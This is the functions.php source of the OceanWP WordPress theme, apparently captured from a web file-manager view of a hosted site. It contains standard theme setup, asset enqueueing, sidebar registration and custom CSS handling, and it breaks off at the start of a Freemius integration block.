H:
/
root
/
home
/
balajibaskar-001
/
www
/
NeochemicalsSub
/
wp-content
/
themes
/
oceanwp
/
up file
home
<?php /** * Theme functions and definitions. * * Sets up the theme and provides some helper functions * * When using a child theme (see http://codex.wordpress.org/Theme_Development * and http://codex.wordpress.org/Child_Themes), you can override certain * functions (those wrapped in a function_exists() call) by defining them first * in your child theme's functions.php file. The child theme's functions.php * file is included before the parent theme's file, so the child theme * functions would be used. * * * For more information on hooks, actions, and filters, * see http://codex.wordpress.org/Plugin_API * * @package OceanWP WordPress theme */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } // Core Constants. define( 'OCEANWP_THEME_DIR', get_template_directory() ); define( 'OCEANWP_THEME_URI', get_template_directory_uri() ); /** * OceanWP theme class */ final class OCEANWP_Theme_Class { /** * Main Theme Class Constructor * * @since 1.0.0 */ public function __construct() { // Migrate $this->migration(); // Define theme constants. $this->oceanwp_constants(); // Load required files. $this->oceanwp_has_setup(); // Load framework classes. add_action( 'after_setup_theme', array( 'OCEANWP_Theme_Class', 'classes' ), 4 ); // Setup theme => add_theme_support, register_nav_menus, load_theme_textdomain, etc. add_action( 'after_setup_theme', array( 'OCEANWP_Theme_Class', 'theme_setup' ), 10 ); // register sidebar widget areas. add_action( 'widgets_init', array( 'OCEANWP_Theme_Class', 'register_sidebars' ) ); // Registers theme_mod strings into Polylang. if ( class_exists( 'Polylang' ) ) { add_action( 'after_setup_theme', array( 'OCEANWP_Theme_Class', 'polylang_register_string' ) ); } /** Admin only actions */ if ( is_admin() ) { // Load scripts in the WP admin. add_action( 'admin_enqueue_scripts', array( 'OCEANWP_Theme_Class', 'admin_scripts' ) ); // Outputs custom CSS for the admin. add_action( 'admin_head', array( 'OCEANWP_Theme_Class', 'admin_inline_css' ) ); /** Non Admin actions */ } else { // Load theme js. add_action( 'wp_enqueue_scripts', array( 'OCEANWP_Theme_Class', 'theme_js' ) ); // Load theme CSS. add_action( 'wp_enqueue_scripts', array( 'OCEANWP_Theme_Class', 'theme_css' ) ); // Load his file in last. add_action( 'wp_enqueue_scripts', array( 'OCEANWP_Theme_Class', 'custom_style_css' ), 9999 ); // Remove Customizer CSS script from Front-end. add_action( 'init', array( 'OCEANWP_Theme_Class', 'remove_customizer_custom_css' ) ); // Add a pingback url auto-discovery header for singularly identifiable articles. add_action( 'wp_head', array( 'OCEANWP_Theme_Class', 'pingback_header' ), 1 ); // Add meta viewport tag to header. add_action( 'wp_head', array( 'OCEANWP_Theme_Class', 'meta_viewport' ), 1 ); // Add an X-UA-Compatible header. add_filter( 'wp_headers', array( 'OCEANWP_Theme_Class', 'x_ua_compatible_headers' ) ); // Outputs custom CSS to the head. add_action( 'wp_head', array( 'OCEANWP_Theme_Class', 'custom_css' ), 9999 ); // Minify the WP custom CSS because WordPress doesn't do it by default. add_filter( 'wp_get_custom_css', array( 'OCEANWP_Theme_Class', 'minify_custom_css' ) ); // Alter the search posts per page. add_action( 'pre_get_posts', array( 'OCEANWP_Theme_Class', 'search_posts_per_page' ) ); // Alter WP categories widget to display count inside a span. add_filter( 'wp_list_categories', array( 'OCEANWP_Theme_Class', 'wp_list_categories_args' ) ); // Add a responsive wrapper to the WordPress oembed output. add_filter( 'embed_oembed_html', array( 'OCEANWP_Theme_Class', 'add_responsive_wrap_to_oembeds' ), 99, 4 ); // Adds classes the post class. add_filter( 'post_class', array( 'OCEANWP_Theme_Class', 'post_class' ) ); // Add schema markup to the authors post link. add_filter( 'the_author_posts_link', array( 'OCEANWP_Theme_Class', 'the_author_posts_link' ) ); // Add support for Elementor Pro locations. add_action( 'elementor/theme/register_locations', array( 'OCEANWP_Theme_Class', 'register_elementor_locations' ) ); // Remove the default lightbox script for the beaver builder plugin. add_filter( 'fl_builder_override_lightbox', array( 'OCEANWP_Theme_Class', 'remove_bb_lightbox' ) ); add_filter( 'ocean_enqueue_generated_files', '__return_false' ); } } /** * Migration Functinality * * @since 1.0.0 */ public static function migration() { if ( get_theme_mod( 'ocean_disable_emoji', false ) ) { set_theme_mod( 'ocean_performance_emoji', 'disabled' ); } if ( get_theme_mod( 'ocean_disable_lightbox', false ) ) { set_theme_mod( 'ocean_performance_lightbox', 'disabled' ); } } /** * Define Constants * * @since 1.0.0 */ public static function oceanwp_constants() { $version = self::theme_version(); // Theme version. define( 'OCEANWP_THEME_VERSION', $version ); // Javascript and CSS Paths. define( 'OCEANWP_JS_DIR_URI', OCEANWP_THEME_URI . '/assets/js/' ); define( 'OCEANWP_CSS_DIR_URI', OCEANWP_THEME_URI . '/assets/css/' ); // Include Paths. define( 'OCEANWP_INC_DIR', OCEANWP_THEME_DIR . '/inc/' ); define( 'OCEANWP_INC_DIR_URI', OCEANWP_THEME_URI . '/inc/' ); // Check if plugins are active. define( 'OCEAN_EXTRA_ACTIVE', class_exists( 'Ocean_Extra' ) ); define( 'OCEANWP_ELEMENTOR_ACTIVE', class_exists( 'Elementor\Plugin' ) ); define( 'OCEANWP_BEAVER_BUILDER_ACTIVE', class_exists( 'FLBuilder' ) ); define( 'OCEANWP_WOOCOMMERCE_ACTIVE', class_exists( 'WooCommerce' ) ); define( 'OCEANWP_EDD_ACTIVE', class_exists( 'Easy_Digital_Downloads' ) ); define( 'OCEANWP_LIFTERLMS_ACTIVE', class_exists( 'LifterLMS' ) ); define( 'OCEANWP_ALNP_ACTIVE', class_exists( 'Auto_Load_Next_Post' ) ); define( 'OCEANWP_LEARNDASH_ACTIVE', class_exists( 'SFWD_LMS' ) ); } /** * Load all core theme function files * * @since 1.0.0oceanwp_has_setup */ public static function oceanwp_has_setup() { $dir = OCEANWP_INC_DIR; require_once $dir . 'helpers.php'; require_once $dir . 'header-content.php'; require_once $dir . 'oceanwp-strings.php'; require_once $dir . 'oceanwp-svg.php'; require_once $dir . 'oceanwp-theme-icons.php'; require_once $dir . 'template-helpers.php'; require_once $dir . 'customizer/controls/typography/webfonts.php'; require_once $dir . 'walker/init.php'; require_once $dir . 'walker/menu-walker.php'; require_once $dir . 'third/class-gutenberg.php'; require_once $dir . 'third/class-elementor.php'; require_once $dir . 'third/class-beaver-themer.php'; require_once $dir . 'third/class-bbpress.php'; require_once $dir . 'third/class-buddypress.php'; require_once $dir . 'third/class-lifterlms.php'; require_once $dir . 'third/class-learndash.php'; require_once $dir . 'third/class-sensei.php'; require_once $dir . 'third/class-social-login.php'; require_once $dir . 'third/class-amp.php'; require_once $dir . 'third/class-pwa.php'; // WooCommerce. if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { require_once $dir . 'woocommerce/woocommerce-config.php'; } // Easy Digital Downloads. if ( OCEANWP_EDD_ACTIVE ) { require_once $dir . 'edd/edd-config.php'; } } /** * Returns current theme version * * @since 1.0.0 */ public static function theme_version() { // Get theme data. $theme = wp_get_theme(); // Return theme version. return $theme->get( 'Version' ); } /** * Compare WordPress version * * @access public * @since 1.8.3 * @param string $version - A WordPress version to compare against current version. * @return boolean */ public static function is_wp_version( $version = '5.4' ) { global $wp_version; // WordPress version. return version_compare( strtolower( $wp_version ), strtolower( $version ), '>=' ); } /** * Check for AMP endpoint * * @return bool * @since 1.8.7 */ public static function oceanwp_is_amp() { return function_exists( 'is_amp_endpoint' ) && is_amp_endpoint(); } /** * Load theme classes * * @since 1.0.0 */ public static function classes() { // Admin only classes. if ( is_admin() ) { // Recommend plugins. require_once OCEANWP_INC_DIR . 'activation-notice/class-oceanwp-plugin-manager.php'; require_once OCEANWP_INC_DIR . 'activation-notice/template.php'; // Ajax Actions if (defined('DOING_AJAX') && DOING_AJAX) { require OCEANWP_INC_DIR . 'activation-notice/api.php'; } // Front-end classes. } // Breadcrumbs class. require_once OCEANWP_INC_DIR . 'breadcrumbs.php'; // Customizer class. require_once OCEANWP_INC_DIR . 'customizer/library/customizer-custom-controls/functions.php'; require_once OCEANWP_INC_DIR . 'customizer/customizer.php'; } /** * Theme Setup * * @since 1.0.0 */ public static function theme_setup() { // Load text domain. load_theme_textdomain( 'oceanwp', OCEANWP_THEME_DIR . '/languages' ); // Get globals. global $content_width; // Set content width based on theme's default design. if ( ! isset( $content_width ) ) { $content_width = 1200; } // Register navigation menus. register_nav_menus( array( 'topbar_menu' => esc_html__( 'Top Bar', 'oceanwp' ), 'main_menu' => esc_html__( 'Main', 'oceanwp' ), 'footer_menu' => esc_html__( 'Footer', 'oceanwp' ), 'mobile_menu' => esc_html__( 'Mobile (optional)', 'oceanwp' ), ) ); // Enable support for Post Formats. add_theme_support( 'post-formats', array( 'video', 'gallery', 'audio', 'quote', 'link' ) ); // Enable support for <title> tag. add_theme_support( 'title-tag' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // Enable support for Post Thumbnails on posts and pages. add_theme_support( 'post-thumbnails' ); /** * Enable support for header image */ add_theme_support( 'custom-header', apply_filters( 'ocean_custom_header_args', array( 'width' => 2000, 'height' => 1200, 'flex-height' => true, 'video' => true, ) ) ); /** * Enable support for site logo */ add_theme_support( 'custom-logo', apply_filters( 'ocean_custom_logo_args', array( 'height' => 45, 'width' => 164, 'flex-height' => true, 'flex-width' => true, ) ) ); /* * Switch default core markup for search form, comment form, comments, galleries, captions and widgets * to output valid HTML5. */ add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', 'widgets', ) ); // Declare WooCommerce support. add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); // Add editor style. add_editor_style( 'assets/css/editor-style.min.css' ); // Declare support for selective refreshing of widgets. add_theme_support( 'customize-selective-refresh-widgets' ); } /** * Adds the meta tag to the site header * * @since 1.1.0 */ public static function pingback_header() { if ( is_singular() && pings_open() ) { printf( '<link rel="pingback" href="%s">' . "\n", esc_url( get_bloginfo( 'pingback_url' ) ) ); } } /** * Adds the meta tag to the site header * * @since 1.0.0 */ public static function meta_viewport() { // Meta viewport. $viewport = '<meta name="viewport" content="width=device-width, initial-scale=1">'; // Apply filters for child theme tweaking. echo apply_filters( 'ocean_meta_viewport', $viewport ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Load scripts in the WP admin * * @since 1.0.0 */ public static function admin_scripts() { global $pagenow; if ( 'nav-menus.php' === $pagenow ) { wp_enqueue_style( 'oceanwp-menus', OCEANWP_INC_DIR_URI . 'walker/assets/menus.css', false, OCEANWP_THEME_VERSION ); } } /** * Load front-end scripts * * @since 1.0.0 */ public static function theme_css() { // Define dir. $dir = OCEANWP_CSS_DIR_URI; $theme_version = OCEANWP_THEME_VERSION; // Remove font awesome style from plugins. wp_deregister_style( 'font-awesome' ); wp_deregister_style( 'fontawesome' ); // Enqueue font awesome style. if ( get_theme_mod( 'ocean_performance_fontawesome', 'enabled' ) === 'enabled' ) { wp_enqueue_style( 'font-awesome', OCEANWP_THEME_URI . '/assets/fonts/fontawesome/css/all.min.css', false, '5.15.1' ); } // Enqueue simple line icons style. if ( get_theme_mod( 'ocean_performance_simple_line_icons', 'enabled' ) === 'enabled' ) { wp_enqueue_style( 'simple-line-icons', $dir . 'third/simple-line-icons.min.css', false, '2.4.0' ); } // Enqueue Main style. wp_enqueue_style( 'oceanwp-style', $dir . 'style.min.css', false, $theme_version ); // Blog Header styles. if ( 'default' !== get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) && is_single() && 'post' === get_post_type() ) { wp_enqueue_style( 'oceanwp-blog-headers', $dir . 'blog/blog-post-headers.css', false, $theme_version ); } // Register perfect-scrollbar plugin style. wp_register_style( 'ow-perfect-scrollbar', $dir . 'third/perfect-scrollbar.css', false, '1.5.0' ); // Register hamburgers buttons to easily use them. wp_register_style( 'oceanwp-hamburgers', $dir . 'third/hamburgers/hamburgers.min.css', false, $theme_version ); // Register hamburgers buttons styles. $hamburgers = oceanwp_hamburgers_styles(); foreach ( $hamburgers as $class => $name ) { wp_register_style( 'oceanwp-' . $class . '', $dir . 'third/hamburgers/types/' . $class . '.css', false, $theme_version ); } // Get mobile menu icon style. $mobile_menu = get_theme_mod( 'ocean_mobile_menu_open_hamburger', 'default' ); // Enqueue mobile menu icon style. if ( ! empty( $mobile_menu ) && 'default' !== $mobile_menu ) { wp_enqueue_style( 'oceanwp-hamburgers' ); wp_enqueue_style( 'oceanwp-' . $mobile_menu . '' ); } // If Vertical header style. if ( 'vertical' === oceanwp_header_style() ) { wp_enqueue_style( 'oceanwp-hamburgers' ); wp_enqueue_style( 'oceanwp-spin' ); wp_enqueue_style( 'ow-perfect-scrollbar' ); } } /** * Returns all js needed for the front-end * * @since 1.0.0 */ public static function theme_js() { if ( self::oceanwp_is_amp() ) { return; } // Get js directory uri. $dir = OCEANWP_JS_DIR_URI; // Get current theme version. $theme_version = OCEANWP_THEME_VERSION; // Get localized array. $localize_array = self::localize_array(); // Main script dependencies. $main_script_dependencies = array( 'jquery' ); // Comment reply. if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } // Add images loaded. wp_enqueue_script( 'imagesloaded' ); /** * Load Venors Scripts. */ // Isotop. wp_register_script( 'ow-isotop', $dir . 'vendors/isotope.pkgd.min.js', array(), '3.0.6', true ); // Flickity. wp_register_script( 'ow-flickity', $dir . 'vendors/flickity.pkgd.min.js', array(), $theme_version, true ); // Magnific Popup. wp_register_script( 'ow-magnific-popup', $dir . 'vendors/magnific-popup.min.js', array( 'jquery' ), $theme_version, true ); // Sidr Mobile Menu. wp_register_script( 'ow-sidr', $dir . 'vendors/sidr.js', array(), $theme_version, true ); // Perfect Scrollbar. wp_register_script( 'ow-perfect-scrollbar', $dir . 'vendors/perfect-scrollbar.min.js', array(), $theme_version, true ); // Smooth Scroll. wp_register_script( 'ow-smoothscroll', $dir . 'vendors/smoothscroll.min.js', array(), $theme_version, false ); /** * Load Theme Scripts. */ // Theme script. wp_enqueue_script( 'oceanwp-main', $dir . 'theme.min.js', $main_script_dependencies, $theme_version, true ); wp_localize_script( 'oceanwp-main', 'oceanwpLocalize', $localize_array ); array_push( $main_script_dependencies, 'oceanwp-main' ); // Blog Masonry script. if ( 'masonry' === oceanwp_blog_grid_style() ) { array_push( $main_script_dependencies, 'ow-isotop' ); wp_enqueue_script( 'ow-isotop' ); wp_enqueue_script( 'oceanwp-blog-masonry', $dir . 'blog-masonry.min.js', $main_script_dependencies, $theme_version, true ); } // Menu script. switch ( oceanwp_header_style() ) { case 'full_screen': wp_enqueue_script( 'oceanwp-full-screen-menu', $dir . 'full-screen-menu.min.js', $main_script_dependencies, $theme_version, true ); break; case 'vertical': array_push( $main_script_dependencies, 'ow-perfect-scrollbar' ); wp_enqueue_script( 'ow-perfect-scrollbar' ); wp_enqueue_script( 'oceanwp-vertical-header', $dir . 'vertical-header.min.js', $main_script_dependencies, $theme_version, true ); break; } // Mobile Menu script. switch ( oceanwp_mobile_menu_style() ) { case 'dropdown': wp_enqueue_script( 'oceanwp-drop-down-mobile-menu', $dir . 'drop-down-mobile-menu.min.js', $main_script_dependencies, $theme_version, true ); break; case 'fullscreen': wp_enqueue_script( 'oceanwp-full-screen-mobile-menu', $dir . 'full-screen-mobile-menu.min.js', $main_script_dependencies, $theme_version, true ); break; case 'sidebar': array_push( $main_script_dependencies, 'ow-sidr' ); wp_enqueue_script( 'ow-sidr' ); wp_enqueue_script( 'oceanwp-sidebar-mobile-menu', $dir . 'sidebar-mobile-menu.min.js', $main_script_dependencies, $theme_version, true ); break; } // Search script. switch ( oceanwp_menu_search_style() ) { case 'drop_down': wp_enqueue_script( 'oceanwp-drop-down-search', $dir . 'drop-down-search.min.js', $main_script_dependencies, $theme_version, true ); break; case 'header_replace': wp_enqueue_script( 'oceanwp-header-replace-search', $dir . 'header-replace-search.min.js', $main_script_dependencies, $theme_version, true ); break; case 'overlay': wp_enqueue_script( 'oceanwp-overlay-search', $dir . 'overlay-search.min.js', $main_script_dependencies, $theme_version, true ); break; } // Mobile Search Icon Style. if ( oceanwp_mobile_menu_search_style() !== 'disabled' ) { wp_enqueue_script( 'oceanwp-mobile-search-icon', $dir . 'mobile-search-icon.min.js', $main_script_dependencies, $theme_version, true ); } // Equal Height Elements script. if ( oceanwp_blog_entry_equal_heights() ) { wp_enqueue_script( 'oceanwp-equal-height-elements', $dir . 'equal-height-elements.min.js', $main_script_dependencies, $theme_version, true ); } // Lightbox script. if ( oceanwp_gallery_is_lightbox_enabled() || get_theme_mod( 'ocean_performance_lightbox', 'enabled' ) === 'enabled' ) { array_push( $main_script_dependencies, 'ow-magnific-popup' ); wp_enqueue_script( 'ow-magnific-popup' ); wp_enqueue_script( 'oceanwp-lightbox', $dir . 'ow-lightbox.min.js', $main_script_dependencies, $theme_version, true ); } // Slider script. array_push( $main_script_dependencies, 'ow-flickity' ); wp_enqueue_script( 'ow-flickity' ); wp_enqueue_script( 'oceanwp-slider', $dir . 'ow-slider.min.js', $main_script_dependencies, $theme_version, true ); // Scroll Effect script. if ( get_theme_mod( 'ocean_performance_scroll_effect', 'enabled' ) === 'enabled' ) { wp_enqueue_script( 'oceanwp-scroll-effect', $dir . 'scroll-effect.min.js', $main_script_dependencies, $theme_version, true ); } // Scroll to Top script. if ( oceanwp_display_scroll_up_button() ) { wp_enqueue_script( 'oceanwp-scroll-top', $dir . 'scroll-top.min.js', $main_script_dependencies, $theme_version, true ); } // Custom Select script. if ( get_theme_mod( 'ocean_performance_custom_select', 'enabled' ) === 'enabled' ) { wp_enqueue_script( 'oceanwp-select', $dir . 'select.min.js', $main_script_dependencies, $theme_version, true ); } // Infinite Scroll script. if ( 'infinite_scroll' === get_theme_mod( 'ocean_blog_pagination_style', 'standard' ) || 'infinite_scroll' === get_theme_mod( 'ocean_woo_pagination_style', 'standard' ) ) { wp_enqueue_script( 'oceanwp-infinite-scroll', $dir . 'ow-infinite-scroll.min.js', $main_script_dependencies, $theme_version, true ); } // WooCommerce scripts. if ( OCEANWP_WOOCOMMERCE_ACTIVE && 'yes' !== get_theme_mod( 'ocean_woo_remove_custom_features', 'no' ) ) { wp_enqueue_script( 'oceanwp-woocommerce-custom-features', $dir . 'wp-plugins/woocommerce/woo-custom-features.min.js', array( 'jquery' ), $theme_version, true ); wp_localize_script( 'oceanwp-woocommerce-custom-features', 'oceanwpLocalize', $localize_array ); } // Register scripts for old addons. wp_register_script( 'nicescroll', $dir . 'vendors/support-old-oceanwp-addons/jquery.nicescroll.min.js', array( 'jquery' ), $theme_version, true ); } /** * Functions.js localize array * * @since 1.0.0 */ public static function localize_array() { // Create array. $sidr_side = get_theme_mod( 'ocean_mobile_menu_sidr_direction', 'left' ); $sidr_side = $sidr_side ? $sidr_side : 'left'; $sidr_target = get_theme_mod( 'ocean_mobile_menu_sidr_dropdown_target', 'link' ); $sidr_target = $sidr_target ? $sidr_target : 'link'; $vh_target = get_theme_mod( 'ocean_vertical_header_dropdown_target', 'link' ); $vh_target = $vh_target ? $vh_target : 'link'; $scroll_offset = get_theme_mod( 'ocean_scroll_effect_offset_value' ); $scroll_offset = $scroll_offset ? $scroll_offset : 0; $array = array( 'nonce' => wp_create_nonce( 'oceanwp' ), 'isRTL' => is_rtl(), 'menuSearchStyle' => oceanwp_menu_search_style(), 'mobileMenuSearchStyle' => oceanwp_mobile_menu_search_style(), 'sidrSource' => oceanwp_sidr_menu_source(), 'sidrDisplace' => get_theme_mod( 'ocean_mobile_menu_sidr_displace', true ) ? true : false, 'sidrSide' => $sidr_side, 'sidrDropdownTarget' => $sidr_target, 'verticalHeaderTarget' => $vh_target, 'customScrollOffset' => $scroll_offset, 'customSelects' => '.woocommerce-ordering .orderby, #dropdown_product_cat, .widget_categories select, .widget_archive select, .single-product .variations_form .variations select', ); // WooCart. if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { $array['wooCartStyle'] = oceanwp_menu_cart_style(); } // Apply filters and return array. return apply_filters( 'ocean_localize_array', $array ); } /** * Add headers for IE to override IE's Compatibility View Settings * * @param obj $headers header settings. * @since 1.0.0 */ public static function x_ua_compatible_headers( $headers ) { $headers['X-UA-Compatible'] = 'IE=edge'; return $headers; } /** * Registers sidebars * * @since 1.0.0 */ public static function register_sidebars() { $heading = get_theme_mod( 'ocean_sidebar_widget_heading_tag', 'h4' ); $heading = apply_filters( 'ocean_sidebar_widget_heading_tag', $heading ); $foo_heading = get_theme_mod( 'ocean_footer_widget_heading_tag', 'h4' ); $foo_heading = apply_filters( 'ocean_footer_widget_heading_tag', $foo_heading ); // Default Sidebar. register_sidebar( array( 'name' => esc_html__( 'Default Sidebar', 'oceanwp' ), 'id' => 'sidebar', 'description' => esc_html__( 'Widgets in this area will be displayed in the left or right sidebar area if you choose the Left or Right Sidebar layout.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="sidebar-box %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $heading . ' class="widget-title">', 'after_title' => '</' . $heading . '>', ) ); // Left Sidebar. register_sidebar( array( 'name' => esc_html__( 'Left Sidebar', 'oceanwp' ), 'id' => 'sidebar-2', 'description' => esc_html__( 'Widgets in this area are used in the left sidebar region if you use the Both Sidebars layout.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="sidebar-box %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $heading . ' class="widget-title">', 'after_title' => '</' . $heading . '>', ) ); // Search Results Sidebar. if ( get_theme_mod( 'ocean_search_custom_sidebar', true ) ) { register_sidebar( array( 'name' => esc_html__( 'Search Results Sidebar', 'oceanwp' ), 'id' => 'search_sidebar', 'description' => esc_html__( 'Widgets in this area are used in the search result page.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="sidebar-box %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $heading . ' class="widget-title">', 'after_title' => '</' . $heading . '>', ) ); } // Footer 1. register_sidebar( array( 'name' => esc_html__( 'Footer 1', 'oceanwp' ), 'id' => 'footer-one', 'description' => esc_html__( 'Widgets in this area are used in the first footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); // Footer 2. register_sidebar( array( 'name' => esc_html__( 'Footer 2', 'oceanwp' ), 'id' => 'footer-two', 'description' => esc_html__( 'Widgets in this area are used in the second footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); // Footer 3. register_sidebar( array( 'name' => esc_html__( 'Footer 3', 'oceanwp' ), 'id' => 'footer-three', 'description' => esc_html__( 'Widgets in this area are used in the third footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); // Footer 4. register_sidebar( array( 'name' => esc_html__( 'Footer 4', 'oceanwp' ), 'id' => 'footer-four', 'description' => esc_html__( 'Widgets in this area are used in the fourth footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); } /** * Registers theme_mod strings into Polylang. * * @since 1.1.4 */ public static function polylang_register_string() { if ( function_exists( 'pll_register_string' ) && $strings = oceanwp_register_tm_strings() ) { foreach ( $strings as $string => $default ) { pll_register_string( $string, get_theme_mod( $string, $default ), 'Theme Mod', true ); } } } /** * All theme functions hook into the oceanwp_head_css filter for this function. * * @param obj $output output value. * @since 1.0.0 */ public static function custom_css( $output = null ) { // Add filter for adding custom css via other functions. $output = apply_filters( 'ocean_head_css', $output ); // If Custom File is selected. if ( 'file' === get_theme_mod( 'ocean_customzer_styling', 'head' ) ) { global $wp_customize; $upload_dir = wp_upload_dir(); // Render CSS in the head. if ( isset( $wp_customize ) || ! file_exists( $upload_dir['basedir'] . '/oceanwp/custom-style.css' ) ) { // Minify and output CSS in the wp_head. if ( ! empty( $output ) ) { echo "<!-- OceanWP CSS -->\n<style type=\"text/css\">\n" . wp_strip_all_tags( oceanwp_minify_css( $output ) ) . "\n</style>"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } } else { // Minify and output CSS in the wp_head. if ( ! empty( $output ) ) { echo "<!-- OceanWP CSS -->\n<style type=\"text/css\">\n" . wp_strip_all_tags( oceanwp_minify_css( $output ) ) . "\n</style>"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } } /** * Minify the WP custom CSS because WordPress doesn't do it by default. * * @param obj $css minify css. * @since 1.1.9 */ public static function minify_custom_css( $css ) { return oceanwp_minify_css( $css ); } /** * Include Custom CSS file if present. * * @param obj $output output value. * @since 1.4.12 */ public static function custom_style_css( $output = null ) { // If Custom File is not selected. if ( 'file' !== get_theme_mod( 'ocean_customzer_styling', 'head' ) ) { return; } global $wp_customize; $upload_dir = wp_upload_dir(); // Get all the customier css. $output = apply_filters( 'ocean_head_css', $output ); // Get Custom Panel CSS. $output_custom_css = wp_get_custom_css(); // Minified the Custom CSS. $output .= oceanwp_minify_css( $output_custom_css ); // Render CSS from the custom file. if ( ! isset( $wp_customize ) && file_exists( $upload_dir['basedir'] . '/oceanwp/custom-style.css' ) && ! empty( $output ) ) { wp_enqueue_style( 'oceanwp-custom', trailingslashit( $upload_dir['baseurl'] ) . 'oceanwp/custom-style.css', false, false ); } } /** * Remove Customizer style script from front-end * * @since 1.4.12 */ public static function remove_customizer_custom_css() { // If Custom File is not selected. if ( 'file' !== get_theme_mod( 'ocean_customzer_styling', 'head' ) ) { return; } global $wp_customize; // Disable Custom CSS in the frontend head. remove_action( 'wp_head', 'wp_custom_css_cb', 11 ); remove_action( 'wp_head', 'wp_custom_css_cb', 101 ); // If custom CSS file exists and NOT in customizer screen. if ( isset( $wp_customize ) ) { add_action( 'wp_footer', 'wp_custom_css_cb', 9999 ); } } /** * Adds inline CSS for the admin * * @since 1.0.0 */ public static function admin_inline_css() { echo '<style>div#setting-error-tgmpa{display:block;}</style>'; } /** * Alter the search posts per page * * @param obj $query query. * @since 1.3.7 */ public static function search_posts_per_page( $query ) { $posts_per_page = get_theme_mod( 'ocean_search_post_per_page', '8' ); $posts_per_page = $posts_per_page ? $posts_per_page : '8'; if ( $query->is_main_query() && is_search() ) { $query->set( 'posts_per_page', $posts_per_page ); } } /** * Alter wp list categories arguments. * Adds a span around the counter for easier styling. * * @param obj $links link. * @since 1.0.0 */ public static function wp_list_categories_args( $links ) { $links = str_replace( '</a> (', '</a> <span class="cat-count-span">(', $links ); $links = str_replace( ')', ')</span>', $links ); return $links; } /** * Alters the default oembed output. * Adds special classes for responsive oembeds via CSS. * * @param obj $cache cache. * @param url $url url. * @param obj $attr attributes. * @param obj $post_ID post id. * @since 1.0.0 */ public static function add_responsive_wrap_to_oembeds( $cache, $url, $attr, $post_ID ) { // Supported video embeds. $hosts = apply_filters( 'ocean_oembed_responsive_hosts', array( 'vimeo.com', 'youtube.com', 'youtu.be', 'blip.tv', 'money.cnn.com', 'dailymotion.com', 'flickr.com', 'hulu.com', 'kickstarter.com', 'vine.co', 'soundcloud.com', '#http://((m|www)\.)?youtube\.com/watch.*#i', '#https://((m|www)\.)?youtube\.com/watch.*#i', '#http://((m|www)\.)?youtube\.com/playlist.*#i', '#https://((m|www)\.)?youtube\.com/playlist.*#i', '#http://youtu\.be/.*#i', '#https://youtu\.be/.*#i', '#https?://(.+\.)?vimeo\.com/.*#i', '#https?://(www\.)?dailymotion\.com/.*#i', '#https?://dai\.ly/*#i', '#https?://(www\.)?hulu\.com/watch/.*#i', '#https?://wordpress\.tv/.*#i', '#https?://(www\.)?funnyordie\.com/videos/.*#i', '#https?://vine\.co/v/.*#i', '#https?://(www\.)?collegehumor\.com/video/.*#i', '#https?://(www\.|embed\.)?ted\.com/talks/.*#i', ) ); // Supports responsive. $supports_responsive = false; // Check if responsive wrap should be added. foreach ( $hosts as $host ) { if ( strpos( $url, $host ) !== false ) { $supports_responsive = true; break; // no need to loop further. } } // Output code. if ( $supports_responsive ) { return '<p class="responsive-video-wrap clr">' . $cache . '</p>'; } else { return '<div class="oceanwp-oembed-wrap clr">' . $cache . '</div>'; } } /** * Adds extra classes to the post_class() output * * @param obj $classes Return classes. * @since 1.0.0 */ public static function post_class( $classes ) { // Get post. global $post; // Add entry class. $classes[] = 'entry'; // Add has media class. if ( has_post_thumbnail() || get_post_meta( $post->ID, 'ocean_post_self_hosted_media', true ) || get_post_meta( $post->ID, 'ocean_post_oembed', true ) || get_post_meta( $post->ID, 'ocean_post_video_embed', true ) ) { $classes[] = 'has-media'; } // Return classes. return $classes; } /** * Add schema markup to the authors post link * * @param obj $link Author link. * @since 1.0.0 */ public static function the_author_posts_link( $link ) { // Add schema markup. $schema = oceanwp_get_schema_markup( 'author_link' ); if ( $schema ) { $link = str_replace( 'rel="author"', 'rel="author" ' . $schema, $link ); } // Return link. return $link; } /** * Add support for Elementor Pro locations * * @param obj $elementor_theme_manager Elementor Instance. * @since 1.5.6 */ public static function register_elementor_locations( $elementor_theme_manager ) { $elementor_theme_manager->register_all_core_location(); } /** * Add schema markup to the authors post link * * @since 1.1.5 */ public static function remove_bb_lightbox() { return true; } } /**-------------------------------------------------------------------------------- #region Freemius - This logic will only be executed when Ocean Extra is active and has the Freemius SDK ---------------------------------------------------------------------------------*/ if ( ! function_exists( 'owp_fs' ) ) { if ( class_exists( 'Ocean_Extra' ) && defined( 'OE_FILE_PATH' ) && file_exists( dirname( 